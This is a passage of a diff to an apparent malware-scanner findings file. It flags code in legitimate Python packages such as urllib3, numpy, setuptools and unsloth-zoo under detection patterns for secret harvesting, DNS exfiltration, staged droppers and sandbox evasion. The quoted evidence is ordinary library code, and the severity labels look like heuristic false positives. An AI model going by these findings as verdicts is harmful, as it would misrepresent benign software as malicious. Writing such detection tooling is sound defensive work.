"tests/test_quantize_gguf_q2_k_l.py",+ "file": "tests/test_mlx_save_export_regressions.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L67: input_gguf=\"/tmp/in.gguf\","+ "evidence": "L164: temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",+ "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"},{"package": "unsloth-zoo",- "file": "tests/test_mlx_save_export_regressions.py",+ "file": "tests/test_quantize_gguf_q2_k_l.py","check": "Writes to /tmp and executes (staged dropper)","severity": "CRITICAL",- "evidence": "L164: temporary_location=\"/tmp/ignored\","+ "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",+ "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"},{"package": "unsloth-zoo","file": "tests/test_upstream_pinned_symbols_transformers.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:"+ "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:",+ "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06"},{"package": "unsloth-zoo","file": "unsloth_zoo/device_type.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:"+ "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:",+ "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9"},{"package": "unsloth-zoo","file": "unsloth_zoo/llama_cpp.py","check": "Creates archive with sensitive data AND makes network calls","severity": "CRITICAL",- "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_"+ "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)",+ "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"},{"package": "unsloth-zoo","file": "unsloth_zoo/llama_cpp.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154"+ "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2862: check = requests.get(llama_cpp_chat_file, timeout = 5)",+ "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"},{"package": "urllib3","file": "urllib3/response.py","check": "Enumerates filesystem AND makes network calls","severity": "CRITICAL",- "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp"+ "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"",+ "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839"},{"package": "urllib3","file": "urllib3/util/ssl_.py","check": "Harvests environment variables/secrets AND makes network calls","severity": "CRITICAL",- "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket,"+ "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,",+ "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d"},{"package": "attrs","file": "attr/_make.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)"+ "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)",+ "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61"},{"package": "beartype","file": "beartype/_util/func/utilfuncmake.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)"+ "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)",+ "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed"},{"package": "botocore","file": "botocore/vendored/six.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"+ "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",+ "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"},{"package": "cffi","file": "cffi/setuptools_ext.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)"+ "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)",+ "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402"},{"package": "ddgs","file": "ddgs/dht/libp2p_client.py","check": "DNS exfiltration / tunneling patterns","severity": "HIGH",- "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")"+ "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",+ "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4"},{"package": "dill","file": "dill/_dill.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')"+ "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064: return __import__(import_name, None, None, [obj]) | L1066: return __import__(import_name)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')",+ "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129"},{"package": "dill","file": "dill/source.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals"+ "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395: obj = eval(lines[0].lstrip(name + ' = ')) | L541: exec(getimportable(f, alias='_'), __globals__, __locals__) | L711: try: exec(_str)",+ "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c"},{"package": "dnspython","file": "dns/query.py","check": "DNS exfiltration / tunneling patterns","severity": "HIGH",- "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"],"- },- {- "package": "execnet",- "file": "execnet/gateway_base.py",- "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",- "severity": "HIGH",- "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"<remote exec>\", \"exec\")\nExec: L1291: exec(co, loc)"- },- {- "package": "execnet",- "file": "execnet/script/socketserver.py",- "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",- "severity": "HIGH",- "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"<socket server>\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)"+ "evidence": "DNS: L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421: import dns.resolver | L423: resolver = dns.resolver.Resolver() | L457: resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176: return socket.socket(af, kind, proto) | L182: [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566: if session and not isinstance(session, httpx.Client): | L567: raise ValueError(\"session parameter must be an httpx.Client\") | L598: cm = httpx.Client(\nL599: http1=h1, http2=h2, verify=verify, transport=transport\nL600: ) | L1545: s: socket.socket | ssl.SSLSocket, | L1556: is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",+ "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971"},{"package": "fastmcp-slim","file": "fastmcp/server/auth/providers/jwt.py","check": "Embedded cryptographic key + network calls (encrypted exfil pattern)","severity": "HIGH",- "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))"+ "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))",+ "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8"},{"package": "ipython","file": "IPython/core/debugger.py","check": "Anti-analysis/sandbox evasion + suspicious behavior","severity": "HIGH",- "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)"- },- {- "package": "ipython",- "file": "IPython/core/debugger.py",- "check": "exec/eval with payload hidden in a docstring/string",- "severity": "HIGH",- "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after"+ "evidence": "Anti: L986: trace_function = sys.gettrace() | L987: sys.settrace(None) | L999: sys.settrace(trace_function) | L1399: sys.settrace(None)\nExec: L925: x = eval(arg, {}, {})",+ "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4"},{"package": "ipython","file": "IPython/core/debugger_backport.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)"+ "evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)",+ "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232"},{"package": "ipython","file": "IPython/core/magics/execution.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1213: exec(cod"+ "evidence": "Obfusc: L1193: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1194: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1215: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)",+ "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075"},{"package": "ipython","file": "IPython/core/magics/execution.py","check": "Anti-analysis/sandbox evasion + suspicious behavior","severity": "HIGH",- "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)"+ "evidence": "Anti: L987: trace = sys.gettrace() | L998: sys.settrace(trace)\nExec: L1228: exec(code, glob, ns) | L1413: out = eval(code, glob, local_ns) | L1427: exec(code, glob, local_ns) | L1432: out = eval(code_2, glob, local_ns)",+ "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9"},{"package": "jinja2","file": "jinja2/environment.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)"+ "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)",+ "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91"},{"package": "matplotlib","file": "matplotlib/sphinxext/plot_directive.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L368: compile(text, '<string>', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)"+ "evidence": "Obfusc: L326: compile(text, '<string>', 'exec')\nExec: L543: exec('import numpy as np\\n'\nL544: 'from matplotlib import pyplot as plt\\n', ns) | L546: exec(str(setup.config.plot_pre_code), ns) | L552: exec(code, ns) | L554: exec(function_name + \"()\", ns)",+ "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff"},{"package": "multiprocess","file": "multiprocess/tests/__init__.py","check": "Anti-analysis/sandbox evasion + suspicious behavior","severity": "HIGH",- "evidence": "Anti: L440: time.sleep(300)"+ "evidence": "Anti: L440: time.sleep(300)\nNetwork: L3651: client = socket.socket() | L4933: s = socket.socket() | L5205: return socket.socket().detach() | L5209: fd = socket.socket().detach() | L5220: socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394: with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395: stdout=subprocess.PIPE,\nL4396: stderr=subprocess.PIPE) as p: | L5107: data = subprocess.check_output(\nL5108: [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504: p = subprocess.Popen([sys.executable,\nL5505: '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506: pass_fds=[w],\nL5507: stderr=subprocess.PIPE)",+ "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095"},{"package": "networkx","file": "networkx/utils/decorators.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)"+ "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)",+ "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92"},{"package": "numba","file": "numba/np/ufunc/array_exprs.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)"+ "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)",+ "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb"},{"package": "numba","file": "numba/tests/support.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)"+ "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)",+ "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"},{"package": "numba","file": "numba/tests/test_firstlinefinder.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)"+ "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)",+ "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788"},{"package": "numba","file": "numba/tests/test_funcdesc.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)"+ "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)",+ "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495"},{"package": "numba","file": "numba/tests/test_import.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))"+ "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))",+ "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a"},{"package": "numba","file": "numba/tests/test_np_functions.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)"+ "evidence": "Obfusc: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)",+ "evidence_hash": "9e81164131d16056fb56ad3cd11b8d129d1ff4f5855031e8b501e0335d5c14ed"},{"package": "numpy","file": "numpy/testing/_private/utils.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)"+ "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)",+ "evidence_hash": "0f709178d59737ab994e7c63800a434bdb56e9c4c72f6dc5d3ebf3bf8eb4245c"+ },+ {+ "package": "numpy",+ "file": "numpy/testing/_private/utils.py",+ "check": "Anti-analysis/sandbox evasion + suspicious behavior",+ "severity": "HIGH",+ "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)\nSubprocess: L1478: output = subprocess.run(cmd, capture_output=True, text=True)\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)",+ "evidence_hash": "27468a6828101c6c026ae25aca8aa90ef485fd62b2c8f0967479edae9c965844"},{"package": "numpy","file": "numpy/testing/_private/utils.py","check": "Anti-analysis/sandbox evasion + suspicious behavior","severity": "HIGH",- "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)"+ "evidence": "Anti: L2788: original_trace = sys.gettrace() | L2790: sys.settrace(None) | L2793: sys.settrace(original_trace)\nSubprocess: L1486: output = subprocess.run(cmd, capture_output=True, text=True) | L2889: res = subprocess.run(cmd, cwd=cwd, capture_output=True, text=True,\nL2890: errors=\"replace\", **kwargs)\nExec: L1352: exec(astr, dict) | L1640: exec(code, globs, locs)",+ "evidence_hash": "9c6961817e5b1751e572dfe0858286703bb835870ecdfd6a7a9fdd8372a5dd2b"},{"package": "numpy","file": "numpy/tests/test_public_api.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)"+ "evidence": "Obfusc: L543: core_submodule = __import__(\nL544: f\"numpy.core.{submodule_name}\",\nL545: fromlist=[submodule_member_name]\nL546: )\nExec: L405: eval(module_name)",+ "evidence_hash": "084667d5d7ec9e186eea25abc9026122f15c39ec1ec734dbd5d8d801af99af1d"},{"package": "pillow","file": "PIL/Image.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:"+ "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:",+ "evidence_hash": "c2c1e7ae44e15862caf8de549d09db7b35e93282450f07ef61aaf5450a408c13"},{"package": "protobuf","file": "protobuf-3.19.6-nspkg.pth","check": "Unusually large executable .pth (539 bytes)","severity": "HIGH",- "evidence": "1 import line(s) in 539-byte .pth file"+ "evidence": "1 import line(s) in 539-byte .pth file sha256:c47e604f1738522a583f7aab6cffb80821cd18157dede051e10aa185e0af065e",+ "evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e"},{"package": "pygments","file": "pygments/formatters/__init__.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)"+ "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)",+ "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"},{"package": "pygments","file": "pygments/lexers/__init__.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)"+ "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)",+ "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0"},{"package": "scikit-learn","file": "sklearn/externals/array_api_compat/torch/__init__.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")"+ "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")",+ "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea"},{"package": "scipy","file": "scipy/optimize/_optimize.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):"+ "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):",+ "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd"},{"package": "setuptools","file": "pkg_resources/__init__.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam"+ "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)",+ "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4"},{"package": "setuptools","file": "setuptools/_distutils/compilers/C/base.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):"+ "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):",+ "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5"},{"package": "setuptools","file": "setuptools/launch.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)"+ "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)",+ "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9"},{"package": "setuptools","file": "setuptools/tests/config/test_pyprojecttoml.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\","+ "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",",+ "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6"},{"package": "setuptools","file": "setuptools/tests/test_editable_install.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)"+ "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)",+ "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d"},{"package": "setuptools","file": "setuptools/wheel.py","check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval","severity": "HIGH",- "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = 